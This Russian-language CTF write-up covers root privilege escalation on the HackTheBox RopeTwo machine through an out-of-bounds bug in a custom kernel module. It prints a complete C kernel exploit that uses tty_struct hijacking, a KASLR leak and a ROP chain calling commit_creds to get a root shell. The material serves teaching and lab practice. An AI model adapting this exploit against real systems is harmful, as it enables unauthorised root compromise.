В этой статье будем разбирать одну из самых сложных тем в сфере пентеста и взлома — эксплуатацию ядра Linux. Ты узнаешь, какие инструменты применяются для отладки ядра, что такое LKM, KGDB, IOCTL, TTY, и много других интересных вещей!
Еще по теме: Захват Active Directory на виртуальной машине с HackTheBox
В предыдущих статьях мы проложили себе путь к пользователю r4j на хардкорной виртуалке RopeTwo. Чтобы добраться до рута, остается последний шаг, но какой! Нас ждет ROP (не зря же виртуалку так назвали) и kernel exploitation. Мозги будут закипать, обещаю! Запасайся попкорном дебаггером и поехали!
Разведка
Как и в случае с флагом пользователя из предыдущей статьи, первым делом запускаем LinPEAS и внимательно смотрим, за что можно зацепиться. В глаза бросаются две подозрительные строчки:
1 2 3 4 5 |
[+] Looking for Signature verification failed in dmseg [ 13.882339] ralloc: module verification failed: signature and/or required key missing - tainting kernel -- [+] Readable files belonging to root and readable by me but not world readable -rw-r----- 1 root r4j 5856 Jun 1 2020 /usr/lib/modules/5.0.0-38-generic/kernel/drivers/ralloc/ralloc.ko |
Статический анализ
Первое, что нам нужно, — это скачать себе ralloc.ko и натравить на него «Гидру».
Видим, что ralloc — это LKM, который выполняет различные операции с памятью при получении системных вызовов ioctl. По сути, это самописный драйвер управления памятью, (Superfast memory allocator, как описывает его сам автор), очевидно, что не без уязвимостей.
LKM (loadable kernel module) — объектный файл, содержащий код, который расширяет возможности ядра операционной системы. В нем реализованы всего четыре функции:
- выделение памяти в адресном пространстве ядра (kmalloc) — вызов ioctl <wbr />0x1000;
- очищение памяти в адресном пространстве ядра (kfree) — вызов ioctl <wbr />0x1001;
- копирование информации из адресного пространства пользователя в пространство ядра ( memcpy(<wbr />kernel_addr, <wbr />user_addr, <wbr />size)) — вызов ioctl <wbr />0x1002;
- копирование информации из адресного пространства ядра в пространство пользователя ( memcpy(<wbr />user_addr, <wbr />kernel_addr, <wbr />size)) — вызов ioctl <wbr />0x1003.
Ниже дизассемблированный и приведенный в читаемый вид листинг этих функций:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 |
case 0x1000: // Функция выделения памяти ядра if ((size < 0x401) && (idx < 0x20)) { if (arr[idx].size== 0) { ptr = __kmalloc(size, 0x6000c0); arr[idx].data = ptr; if (ptr != 0) { arr[idx].size = size_alloc + 0x20; return_value = 0; } } } break; case 0x1001: // Функция освобождения памяти ядра if ((idx < 0x20) && arr[idx].data != 0)) { kfree(arr[idx].ptr); arr[idx].size = 0; return_value = 0; } break; case 0x1002: // Функция копирования из user space в kernel space if (idx < 0x20) { __dest = arr[idx].data; __src = ptrUserSpace; if ((arr[idx].data != 0x0) && ((size & 0xffffffff) <= arr[idx].size)) { if ((ptrUserSpace & 0xffff000000000000) == 0) { memcpy(__dest, __src, size & 0xffffffff); result = 0; } } } break; case 0x1003: // Функция копирования из kernel space в user space if (idx < 0x20) { __dest = ptrUserSpace; __src = arr[idx].data; if ((__src != 0x0) && ((size & 0xffffffff) <= arr[idx].size)) { if ((ptrUserSpace & 0xffff000000000000) == 0) { memcpy(__dest, __src, size & 0xffffffff); result = 0; } } } break; |
Посмотри внимательно на листинг. Возможно, ты найдешь уязвимость, она почти сразу бросается в глаза! А пока займемся подготовкой стенда.
Разворачиваем стенд
Очевидно, что для отладки ядра нам понадобится виртуальная машина. Да не одна, а целых две! Одна сыграет роль хоста, где установлено ядро с отладочными символами и где мы применим отладчик GDB, вторая будет запускаться в режиме KGDB (отладчик ядра Linux). Связь между виртуальными машинами устанавливается либо по последовательному порту, либо по локальной сети. Схематично это выглядит так.
Существует несколько сред виртуализации, на которых можно развернуть стенд: VirtualBox, QEMU (самый простой вариант) или VMware. Я выбрал первый вариант. Если захочешь попрактиковаться с QEMU, то на GitHub есть руководство.
Также я нашел неплохое видео, которое подробно показывает настройку VirtualBox для отладки ядра.
Остановимся на главных моментах. Первым делом посмотрим, какая версия ядра используется в RopeTwo:
1 |
r4j@rope2:<wbr />~$ <wbr />lsb_release <wbr />-r <wbr />&& <wbr />uname <wbr />-r |
Release: 19.04
5.0.0-38-generic
Скачиваем и разворачиваем ВМ с Ubuntu 19.04. Далее устанавливаем ядро нужной версии (и свои любимые средства отладки и утилиты):
1 |
apt-get install linux-image-5.0.0-38-generic |
Теперь можно сделать клон ВМ. На хост нам нужно загрузить ядро с символами отладки. Нам нужен файл (838,2 Мибайт):
1 |
linux-image-unsigned-5.<wbr />0.<wbr />0-38-generic-dbgsym_5.<wbr />0.<wbr />0-38.<wbr />41_amd64.<wbr />ddeb |
На таргете нужно включить режим отладки ядра (KGDB). Для этого сначала настроим загрузчик, изменим в файле /<wbr />etc/<wbr />default/<wbr />grub следующие строчки:
1 2 |
GRUB_CMDLINE_LINUX="kgdboc=ttyS0,115200" GRUB_CMDLINE_LINUX_DEFAULT="consoleblank=0 nokaslr" |
Тем самым мы даем KGDB команду слушать подключения отладчика на порте ttyS0, а также отключаем KASLR (kernel address space layout randomization) и очистку консоли.
Выполняем команду update-grub, чтобы записать параметры в загрузчик. После этого можно удостовериться, что значения попали в конфиг GRUB, — ищи их в файле /<wbr />boot/<wbr />grub/<wbr />grub.<wbr />cfg.
Если бы мы хотели отлаживать само ядро, было бы необходимо добавить параметр kgdbwait, чтобы загрузчик остановился перед загрузкой ядра и ждал подключения GDB с хоста. Но так как нас интересует не само ядро, а LKM, то это не требуется.
Далее проверим, что у нас в системе включены прерывания отладки:
1 2 3 4 |
root@target:/boot# grep -i CONFIG_MAGIC_SYSRQ config-5.0.0-38-generic CONFIG_MAGIC_SYSRQ=y CONFIG_MAGIC_SYSRQ_DEFAULT_ENABLE=0x01b6 CONFIG_MAGIC_SYSRQ_SERIAL=y |
и текущие флаги прерываний:
1 2 |
cat /proc/sys/kernel/sysrq 176 |
Включим на таргете все функции «магических» прерываний системы:
1 2 |
echo "1" > /proc/sys/kernel/sysrq echo "kernel.sysrq = 1" >> /etc/sysctl.d/99-sysctl.conf |
Подробнее о них можно почитать в документации.
Теперь, если ты введешь echo <wbr />g > /<wbr />proc/<wbr />sysrq-trigger, система зависнет в ожидании подключения отладчика.
Осталось связать хост и таргет между собой. Для этого необходимо включить в настройках обеих ВМ Serial Port. На таргете это выглядит так.
А на хосте — так.
Обрати внимание, что на хосте установлена галочка Connect to existing pipe/socket! Поэтому сначала мы загружаем ВМ таргета и только потом ВМ хоста.
Теперь вся готово для отладки, проверяем.
KGDB также можно активировать «магической» комбинацией клавиш в VirtualBox: Alt-PrintScr-g.
Закидываем в таргет модуль ralloc.ko и загружаем его командой insmod <wbr />ralloc.<wbr />ko. Основные команды для работы с модулями ядра:
- depmod — вывод списка зависимостей и связанных map-файлов для модулей ядра;
- insmod — загрузка модуля в ядро;
- lsmod — вывод текущего статуса модулей ядра;
- modinfo — вывод информации о модуле ядра;
- rmmod — удаление модуля из ядра;
- uname — вывод информации о системе.
После загрузки модуля можем посмотреть его карту адресов командой grep <wbr />ralloc /<wbr />proc/<wbr />kallsyms. Запомни ее — эта команда еще не раз нам пригодится.
Для отладки нам понадобятся адреса областей .text, .data и .bss:
1 2 3 4 |
root@target:~# cd /sys/module/ralloc/sections && cat .text .data .bss 0xffffffffc03fb000 0xffffffffc03fd000 0xffffffffc03fd4c0 |
Посмотрим, какие защитные механизмы включены в ядре.
1 2 3 4 5 6 |
r4j@rope2:~$ cat /proc/cpuinfo | grep flags flags: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 syscall nx mmxext fxsr_opt pdpe1gb rdtscp lm constant_tsc rep_good nopl tsc_reliable nonstop_tsc cpuid extd_apicid pni pclmulqdq ssse3 fma cx16 sse4_1 sse4_2 x2apic movbe popcnt aes xsave avx f16c rdrand hypervisor lahf_lm extapic cr8_legacy abm sse4a misalignsse 3dnowprefetch osvw ssbd ibpb vmmcall fsgsbase bmi1 avx2 smep bmi2 rdseed adx clflushopt sha_ni xsaveopt xsavec xsaves clzero arat overflow_recov succor |
Видим, что SMEP включен, а SMAP — нет. В этом можно убедиться следующим образом:
1 2 |
r4j@rope2:/tmp$ cat /proc/cmdline BOOT_IMAGE=/boot/vmlinuz-5.0.0-38-generic root=UUID=8e0d770e-1647-4f8e-9d30-765ce380f9b7 ro maybe-ubiquity nosmap |
Supervisor mode execution protection (SMEP) и supervisor mode access prevention (SMAP) — функции безопасности, которые используются в последних поколениях CPU. SMEP предотвращает исполнение кода из режима ядра в адресном пространстве пользователя, SMAP —непреднамеренный доступ из режима ядра в адресное пространство пользователя. Эти опции контролируются включением определенных битов в регистре CR4. Подробнее об этом можно почитать в документации Intel (PDF).
Также включен KASLR — это умолчательный вариант в новых версиях ядра Linux.
Создание эксплоита
Итак, какая же уязвимость присутствует в ralloc? Разгадка кроется в строке
1 |
arr[<wbr />idx].<wbr />size <wbr />= <wbr />size_alloc <wbr />+ <wbr />0x20; |
Это значит, что мы можем читать и писать на 32 байта больше реального объема выделенной памяти. Неплохо! Но как мы можем это использовать?
Пока я изучал примеры kernel exploitation (значительная часть которых на китайском, но Google Translate нам в помощь), появился план действий. Первое, на что надо обратить внимание, — максимальный размер участка памяти составляет 1024 байта. Есть еще одна известная структура, которая использует такой же размер, — tty_struct.
tty_struct используется ядром TTY для контроля за текущим состоянием на конкретном порте.
Если мы выделим два соседних участка памяти, а потом освободим второй из них и вызовем псевдотерминал, с большой вероятностью менеджер памяти ядра загрузит tty_struct в только что освобожденный участок. В таком случае у нас будет возможность читать первые 32 байта этой структуры и писать в них, используя уязвимость OOB (out-of-bounds). Благодаря этому мы можем прочитать и перезаписать указатель *ops, который расположен в начале tty_struct и содержит адрес ptm_unix98_ops, и вычислить по его смещению адрес kernel base. Зная его, мы можем составить ROP chain, поместить его по определенному адресу и перенаправить на него указатель стека. В этом нам поможет замена указателя *ops поддельной структурой tty_operations, в которой указатель ioctl заменен гаджетом xchg <wbr />eax <wbr />esp. Должно сработать, попробуем это реализовать.
Еще по теме: Повышение привилегий в Linux
Писать эксплоит мы будем на старом добром (а для кого‑то не очень) С. Для начала, как всегда, напишем вспомогательные функции. Точнее, это будет всего одна функция, которая вызывается макросами с нужными параметрами:
1 2 3 4 |
void call_ralloc(int fd, signed long idx, size_t size, unsigned long *data, int cmd) { long int arg[3]={idx,size,data}; int ret = ioctl(fd, cmd, &arg); } |
Теперь проверим, сможем ли мы загрузить tty_struct в освобожденный участок памяти. Помнишь, что нас интересует указатель на ptm_unix98_ops? Для начала найдем его адрес:
1 2 |
root@target:~# grep ptm_unix98_ops /proc/kallsyms ffffffff820af6a0 r ptm_unix98_ops |
А теперь используем следующий код (я привожу только ключевые строки кода для экономии места, полный код для компиляции ты можешь восстановить из исходника эксплоита в конце статьи):
1 2 3 4 5 6 7 8 9 10 |
del(fd,1); del(fd,2); alloc(fd,1,0x400); alloc(fd,2,0x400); del(fd,2); tty_fd = open("/dev/ptmx", O_RDWR | O_NOCTTY); kernel_to_user(fd, 1, 0x420, data); for(int i=128;i<132;i+=2){ printf("%016llx | %016llx\n",data[i],data[i+1]); } |
/<wbr />dev/<wbr />ptmx используется для создания пары основного и подчиненного псевдотерминала. Когда процесс открывает /<wbr />dev/<wbr />ptmx, то он получает описатель файла для основного псевдотерминала (PTM, pseudo-terminal master), а в каталоге /<wbr />dev/<wbr />pts создается устройство подчиненного псевдотерминала (PTS, pseudo-terminal slave).
Скомпилируем код командой gcc <wbr />-static <wbr />tty_test.<wbr />c <wbr />-o <wbr />tty_test и посмотрим, что получается.
Ключ -static заставляет компилятор включить в бинарный файл все необходимые библиотеки.
1 2 3 |
artex@target:~$ ./tty_test 59dfb48431ee39b3 | 0000000000000000 ffff8881923f9cc0 | ffffffff820af6a0 |
После нескольких запусков мы видим нужный указатель на ptm_unix98_ops!
Но иногда мы видим просто мусор или нули. Попробуем разобраться в этом с помощью GDB.
Модифицируем код:
1 2 3 4 5 6 |
alloc(fd,1,0x400); alloc(fd,2,0x400); data[3]=0xdeadbeef; user_to_kernel(fd, 2, 0x400, data); kernel_to_user(fd, 1, 0x420, data); printf("%016llx",data[131]); |
Наша цель — выделить два чанка, записать данные во второй, а прочитать начальные 32 байта, обращаясь к первому. Теперь, если скомпилировать и запустить нашу тестовую программу несколько раз, увидим, что последовательность 0xdeadbeef мы получаем далеко не всегда. Проверим в GDB.
Для начала сделаем на таргете прерывание, загрузим в GDB на хосте адреса ralloc и установим брейк перед вызовом функции __kmalloc (смещение от начала rope2_ioctl — 0x156):
1 2 |
add-symbol-file ralloc.ko 0xffffffffc03fa000 -s .data 0xffffffffc03fc000 -s .bss 0xffffffffc03fc4c0 b *0xffffffffc03fa156 |
Последовательность действий в GDB должна быть такой:
1 2 3 4 5 6 7 8 9 |
step __kmalloc (size=0x400, flags=0x6000c0) at /build/linux-I6SwI1/linux-5.0.0/mm/slub.c:3788 finish Value returned is $1 = (void *) 0xffff88818c968000 continue step __kmalloc (size=0x400, flags=0x6000c0) at /build/linux-I6SwI1/linux-5.0.0/mm/slub.c:3788 finish Value returned is $2 = (void *) 0xffff888191c2b400 |
Команда step позволяет нам перейти к следующей инструкции — вызову функции kmalloc, а finish — получить возвращаемое ей значение.
Видим, что адреса двух чанков не следуют друг за другом, точнее такое бывает, но далеко не всегда. Следовательно, прежде чем освобождать память для tty_struct, нам необходимо вставить проверку смежности чанков. Для этого используется цикл с алгоритмом, похожим на проверку выше (смотри код эксплоита в конце статьи).
После того как мы нашли смежные чанки и записали tty_struct в освобожденный участок памяти, мы можем прочитать нужный адрес и вычислить по нему kernel base — базовый адрес ядра. Далее переходим к самому интересному — построению ROPchain.
Начинаем с моделирования. Нам нужна функция, которая позволит повысить наши привилегии до root. Один из самых доступных вариантов для этого — функция commit_creds(<wbr />prepare_kernel_cred(<wbr />NULL))<wbr />;. Если мы вызовем commit_creds от имени системы и передадим ей в качестве параметра prepare_kernel_cred(<wbr />NULL), мы заменим UID нашего процесса на 0. Это происходит потому, что, получив в качестве параметра NULL, prepare_kernel_cred возвращает полномочия процесса инициализации init_cred, а эти полномочия соответствуют полномочиям root. Также можно сразу передать функции commit_creds структуру init_cred, что мы и сделаем. Подробнее о полномочиях в Linux читай в документации.
Поскольку у нас активен SMEP, мы не можем выполнять код в пространстве User, а должны использовать гаджеты из ядра системы. Второй путь — отключить SMEP, поместив в регистр cr4 значение 0x6f0. Можешь попробовать реализовать это самостоятельно в качестве упражнения, а мы пойдем по первому пути. Для этого нам требуется:
- поместить init_cred в регистр RDI (первый параметр функции);
- вызвать commit_creds;
- аккуратно вернуться в контекст пользователя, ничего не сломав, и запустить shell.
Для переключения контекста существует инструкция iretq, но перед ее вызовом требуется выполнить инструкцию swapgs, чтобы восстановить значение IA32_KERNEL_GS_BASE MSR (model-specific register). Так как при переходе в режим ядра (например, при вызове syscall) вызывается swapgs для получения указателя на структуры данных ядра, при возвращении в режим пользователя нужно вернуть это значение обратно в MSR. Ознакомиться с описанием swapgs можно на сайте Феликса Клутье. Для корректного возвращения в user space инструкция iretq также требует соблюдения определенной структуры стека.
Поэтому нам нужно сохранить значения этих регистров перед вызовом ROPchain и восстановить в момент возвращения в user space. Сохранить регистры можно с помощью следующей функции:
1 2 3 4 5 6 7 8 |
asm( "movq %%cs, %0\n" "movq %%ss, %1\n" "movq %%rsp, %2\n" "pushfq\n" "popq %3\n" : "=r"(user_cs), "=r"(user_ss), "=r"(user_sp), "=r"(user_rflags) : : "memory" ); |
Осталось найти ROP-гаджеты и составить ROPchain.
Есть несколько утилит для поиска гаджетов ROP, например ROPgadget, xrop, ropper. Все они применяют разные алгоритмы поиска, и списки найденных гаджетов немного отличаются. Поэтому, если ты не смог найти нужный гаджет одной из утилит, можешь попробовать другую. Итак, нам нужно:
- распаковать ядро;
- найти границы области .text (гаджеты из других областей часто могут не работать);
- установить и запустить ROPgadget, сохранив все найденные гаджеты в файл.
1 2 3 4 5 |
root@target:/boot# /usr/src/linux-headers-$(uname -r)/scripts/extract-vmlinux vmlinuz-$(uname -r) > vmlinux root@target:/boot# egrep " _text$| _etext$" System.map-5.0.0-38-generic ffffffff81000000 T _text ffffffff81e00e91 T _etext ROPgadget --binary vmlinux --range 0xfffffff81000000-0xffffffff81e00e91 | sort > rgadget.lst |
Теперь командой grep ищем адреса нужных нам гаджетов в rgadget.<wbr />lst, а адреса init_cred и commit_creds — в /<wbr />proc/<wbr />kallsyms (это будет твоим домашним заданием). А вот iretq придется искать в ядре с помощью objdump:
1 |
root@target:/boot# objdump -j .text -d vmlinux | grep iretq | head -1 |
После того как адреса собраны, нам нужно рассчитать их смещения от базового адреса, поскольку на сервере активирован KASLR и работать мы будем со смещениями. Для этого я написал макросы:
1 2 3 |
#define BASE 0xffffffff81000000 #define OFFSET(addr) ((addr) - (BASE)) #define ADDR(offset) (kernel_base + (offset)) |
В итоге у нас получился вот такой ROPchain:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 |
unsigned long long rop_chain[] = { // Помещаем в RDI init_cred (первый параметр функции) ADDR(pop_rdi_ret), ADDR(init_cred), // Выполняем commit_creds(init_cred) // и получаем UID процесса — 0 (root) ADDR(commit_creds), // Меняем местами (восстанавливаем) значения регистров // GS и MSR (IA32_KERNEL_GS_BASE) ADDR(swapgs), // Пустышка для pop rbp гаджета swapgs 0xdeadbeef, // Переключаем контекст на user space ADDR(iretq), // Запускаем shell shell, // Восстанавливаем регистры user_cs, user_rflags, user_sp, user_ss }; |
Осталось последнее и самое главное — заставить RSP (Stack Pointer) стека ядра переключиться на наш ROPchain и получить шелл. Помнишь, мы записали tty_struct в освобожденный чанк и можем перезаписать первые 32 байта этой структуры? Начало этой структуры выглядит так:
1 2 3 4 5 6 7 8 |
tty_struct: int magic; // 4 struct kref kref; // 4 struct device *dev; // 8 struct tty_driver *driver; // 8 const struct tty_operations *ops; // 8 // offset = 4 + 4 + 8 + 8 = 24 байт = 0x18 ... |
Мы можем подделать структуру tty_operations и заменить этот указатель нашей поддельной структурой. Что нам это даст? Вот как выглядит начало tty_operations (полное ее описание можно найти в исходниках):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
struct tty_operations { struct tty_struct *(*lookup)(struct tty_driver *, struct file *, int); /* 0 8 */ int (*install)(struct tty_driver *, struct tty_struct *); /* 8 8 */ void (*remove)(struct tty_driver *, struct tty_struct *); /* 16 8 */ int (*open)(struct tty_struct *, struct file *); /* 24 8 */ void (*close)(struct tty_struct *, struct file *); /* 32 8 */ void (*shutdown)(struct tty_struct *); /* 40 8 */ void (*cleanup)(struct tty_struct *); /* 48 8 */ int (*write)(struct tty_struct *, const unsigned char *, int); /* 56 8 */ int (*put_char)(struct tty_struct *, unsigned char); /* 64 8 */ void (*flush_chars)(struct tty_struct *); /* 72 8 */ int (*write_room)(struct tty_struct *); /* 80 8 */ int (*chars_in_buffer)(struct tty_struct *); /* 88 8 */ int (*ioctl)(struct tty_struct *, unsigned int, long unsigned int); /* 96 8 */ ... |
Ее тринадцатый элемент — указатель на ioctl. Если мы заменим этот указатель и вызовем ioctl, передав ему fd (file descriptor), который вернул ptmx, мы сможем вызвать нужную нам инструкцию.
А так как мы хотим заменить RSP на нужный нам адрес, заменим *ioctl адресом гаджета xchg <wbr />eax, <wbr />esp; <wbr />ret;. Так как этот адрес будет содержаться в rax при вызове ioctl, наш гаджет xchg «переключит» указатель стека на адрес ADDR(<wbr />xchg_eax_esp) <wbr />& <wbr />0xFFFFFFFF (младшие 32 бита rax). Именно туда мы и запишем наш ROPchain!
Схематично весь процесс эксплуатации можно представить так.
Для отладки вешаем в отладчике брейк на xchg_eax_esp ( break <wbr />*0xffffffff8104cba4), делаем шаг вперед ( step) и убеждаемся, что указатель стека ядра теперь «смотрит» на наш ROPchain.
Наконец‑то наш эксплоит готов, привожу его полный листинг:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 |
#define _GNU_SOURCE #include #include #include #include #include #include <sys/mman.h> #include <sys/ioctl.h> #include #define CMD_ALLOC 0x1000 #define CMD_FREE 0x1001 #define CMD_USER_TO_KERNEL 0x1002 #define CMD_KERNEL_TO_USER 0x1003 #define BUF_SIZE 0x400 #define err_exit(msg) do { perror(msg); exit(EXIT_FAILURE); } while (0) /* Макросы для вызова функций ralloc */ #define alloc(fd, idx, size) call_ralloc(fd, idx, size, 0, CMD_ALLOC) #define del(fd, idx) call_ralloc(fd, idx, 0, 0, CMD_FREE) #define user_to_kernel(fd, idx, size, data) call_ralloc(fd, idx, size, data, CMD_USER_TO_KERNEL) #define kernel_to_user(fd, idx, size, data) call_ralloc(fd, idx, size, data, CMD_KERNEL_TO_USER) /* Макросы для вычисления смещений адресов */ #define BASE 0xffffffff81000000 #define OFFSET(addr) ((addr) - (BASE)) #define ADDR(offset) (kernel_base + (offset)) unsigned long kernel_base = 0; /* ROP Gadgets */ typedef int __attribute__((regparm(3)))(*commit_creds_func)(unsigned long cred); commit_creds_func commit_creds = (commit_creds_func) OFFSET(0xffffffff810c0540); // commit_creds size_t init_cred = OFFSET(0xffffffff8265fa00); // init_cred size_t xchg_eax_esp = OFFSET(0xffffffff8104cba4); // xchg eax, esp; ret; size_t pop_rdi_ret = OFFSET(0xffffffff8108b8a0); // pop rdi ; ret; size_t iretq = OFFSET(0xffffffff810379fb); // iretq size_t swapgs = OFFSET(0xffffffff81074b54); // swapgs; pop rbp; ret; /* Переменные для сохранения пользовательского контекста */ unsigned long user_cs; unsigned long user_ss; unsigned long user_sp; unsigned long user_rflags; unsigned long data[0x420]; // Массив для операций с ralloc size_t fake_tty_operations[30]; // Массив для подмены указателя ioctl /* Функция взаимодействия с драйвером ralloc */ void call_ralloc(int fd, signed long idx, size_t size, unsigned long *data, int cmd) { long int arg[3]={idx,size,data}; int ret = ioctl(fd, cmd, &arg); if (ret < 0) { if (cmd==CMD_USER_TO_KERNEL) err_exit("[!] user_to_kernel copy error"); if (cmd==CMD_KERNEL_TO_USER) err_exit("[!] kernel_to_user copy error"); } } /* Функция вызова shell */ void shell() { puts("-=Welcome to root shell=-"); system("/bin/bash"); } /* Функция сохранения состояния регистров */ static void save_state() { asm( "movq %%cs, %0\n" "movq %%ss, %1\n" "movq %%rsp, %2\n" "pushfq\n" "popq %3\n" : "=r"(user_cs), "=r"(user_ss), "=r"(user_sp), "=r"(user_rflags) : : "memory" ); } int main () { bool isTRY = true; save_state(); while (isTRY) { // Продолжаем попытки, пока не найдем адрес ptm_unix98_ops int index=0x20; int tty_fd; /* Открываем файловый дескриптор для драйвера */ int fd = open("/dev/ralloc", O_RDONLY); if (fd < 0) { err_exit("[!] open /dev/ralloc"); } size_t ptr = 0; data[3]=0xdeadbeef; // Значение для проверки чанков на смежность int fake_stack=0; /* Цикл для поиска смежных чанков */ puts("[+] Searching adjacent slabs"); for(int j=0; j<0x20; j+=2) { del(fd,j); // Профилактика зависших дескрипторов del(fd,j+1); alloc(fd,j,BUF_SIZE); alloc(fd,j+1,BUF_SIZE); user_to_kernel(fd, j+1, BUF_SIZE, data); kernel_to_user(fd, j, 0x420, data); // Читаем на 32 байта больше /* Проверяем, смежные ли чанки */ if (data[131]==0xdeadbeef) { puts("[+] Adjacent slabs found"); index=j; break; } } if (index==0x20) { puts("[-] Adjacent slabs not found, one more time..\n"); } else { /* Смежные чанки найдены */ puts("[+] Inserting tty_struct"); del(fd,index+1); /* Пробуем поместить tty_struct в только что освобожденный чанк */ tty_fd = open("/dev/ptmx", O_RDWR | O_NOCTTY); kernel_to_user(fd, index, 0x420, data); // Читаем на 32 байта больше /* Сравниваем значение в освобожденном чанке + 0x18 с маской адреса ptm_unix98_ops (последние байты которого всегда равны 6a0) */ ptr = ((data[131] & 0xFFFFFFFF00000FFF)==0xffffffff000006a0 ? data[131] : 0); if (ptr != 0) { printf("[+] ptm_unix98_ops address found: %p\n",data[131]); kernel_base = data[131]-OFFSET(0xffffffff820af6a0); // Вычисляем kernel_base по смещению ptm_unix98_ops printf("[+] Kernel base address is %p\n", kernel_base); fake_tty_operations[12] = ADDR(xchg_eax_esp); // Пишем адрес инструкции xchg eax esp вместо указателя ioctl printf("[+] fake_tty_operations.ioctl is %p\n", fake_tty_operations[12]); puts("[+] Preparing ROP chain"); unsigned long lower_address = ADDR(xchg_eax_esp) & 0xFFFFFFFF; // Выделяем младшие 32 бита адреса xchg_eax_esp (stack pivot) printf("[+] Lower_address is %p\n", lower_address); unsigned long base = ADDR(xchg_eax_esp) & 0xfffff000; // Готовим базу для фейкового стека в user space /* Выделяем память для фейкового стека */ fake_stack=mmap(base, 0x10000, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS|MAP_POPULATE, -1, 0); if (fake_stack == MAP_FAILED) err_exit("[-] mmap"); printf("[+] Payload is mmaped to %p\n", fake_stack); /* ROPchain */ unsigned long long rop_chain[] = { // Помещаем в RDI init_cred (первый параметр функции) ADDR(pop_rdi_ret), ADDR(init_cred), // Выполняем commit_creds(init_cred) и получаем UID процесса — 0 (root) ADDR(commit_creds), // Меняем местами (восстанавливаем) значения регистра GS и MSR (IA32_KERNEL_GS_BASE) ADDR(swapgs), // Пустышка для pop rbp гаджета swapgs 0xdeadbeef, // Переключаем контекст на user space ADDR(iretq), // Запускаем shell shell, // Восстанавливаем регистры контекста user_cs, user_rflags, user_sp, user_ss }; /* Копируем ROPchain по адресу, которым мы заменим RSP */ memcpy(lower_address, rop_chain, sizeof(rop_chain)); data[131]=&fake_tty_operations; // Помещаем указатель на fake_tty_operations в массиве data puts("[+] Writing function pointer to the driver"); /* Заменяем указатель *tty_operations */ user_to_kernel(fd, index, 0x420, data); del(fd,index); del(fd,index+1); puts("[+] Triggering"); isTRY=false; /* Вызываем ioctl и запускаем цепочку эксплоита */ ioctl(tty_fd, 0, 0); } puts("[*] ptm_unix98_ops not found, one more time...\n"); } } return 0; } |
Однако после возвращения в user space наш эксплоит «падает» с ошибкой Segmentation fault, и если для обычного приложения это беда, то в случае с эксплоитом мы можем даже не разбираться с проблемой, а использовать это как преимущество! Ведь, поймав этот сигнал, мы можем повесить на него запуск шелла и сделать эксплоит еще более универсальным.
Добавляем в исходник заголовочный файл signal.<wbr />h и перехватываем сигнал SIGSEGV с помощью функции signal(<wbr />SIGSEGV, <wbr />shell)<wbr />;:
1 2 3 4 5 6 7 |
#include ... int main () { bool isPTM = true; save_state(); signal(SIGSEGV, shell); // Добавляем перехват сигнала SIGSEGV ... |
Теперь все готово, чтобы добыть заветный флаг рута, путь к которому мы прокладывали с таким трудом!
Буду рад, если ты почерпнул новые знания и у тебя пробудился интерес исследовать их еще глубже. Несомненно, они тебе еще не раз пригодятся!
Еще по теме: Лучшие сканеры уязвимостей